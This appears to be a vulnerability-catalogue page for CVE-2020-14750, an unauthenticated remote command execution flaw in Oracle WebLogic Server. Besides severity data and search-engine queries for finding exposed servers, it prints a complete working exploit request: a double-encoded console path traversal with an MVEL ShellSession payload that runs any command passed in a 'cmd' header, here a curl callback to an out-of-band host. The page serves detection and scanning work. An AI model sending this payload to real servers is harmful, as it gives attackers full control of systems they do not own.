🔙 목록으로 돌아가기

CVE-2020-14750: Oracle WebLogic Server - Remote Command Execution

TitleOracle WebLogic Server - Remote Command Execution
Authorprincechaddha,DhiyaneshDk
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
RemediationApply the latest security patches provided by Oracle to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94438
CVE IDCVE-2020-14750
Shodan Queryhttp.html:"Weblogic Application Server"http.title:"weblogic"http.html:"weblogic application server"
Fofa Querytitle="weblogic"body="weblogic application server"
Tags cve2020 cve rce oracle weblogic unauth kev packetstorm vkev vuln

🔍 Vulnerability Description

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.

🌐 HTTP Request

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Content-Length: 1258
Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd: curl d5joiv9le0o4l82tsodgqioc3naouspw9.oast.pro
Accept-Encoding: gzip

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();

weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");

field.setAccessible(true);

Object obj = field.get(adapter);

weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);

String cmd = req.getHeader("cmd");

String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};

if (cmd != null) {

    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));

    res.getServletOutputStream().flush();

    res.getWriter().write("");

}executeThread.interrupt();

");

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14750.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-14750.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A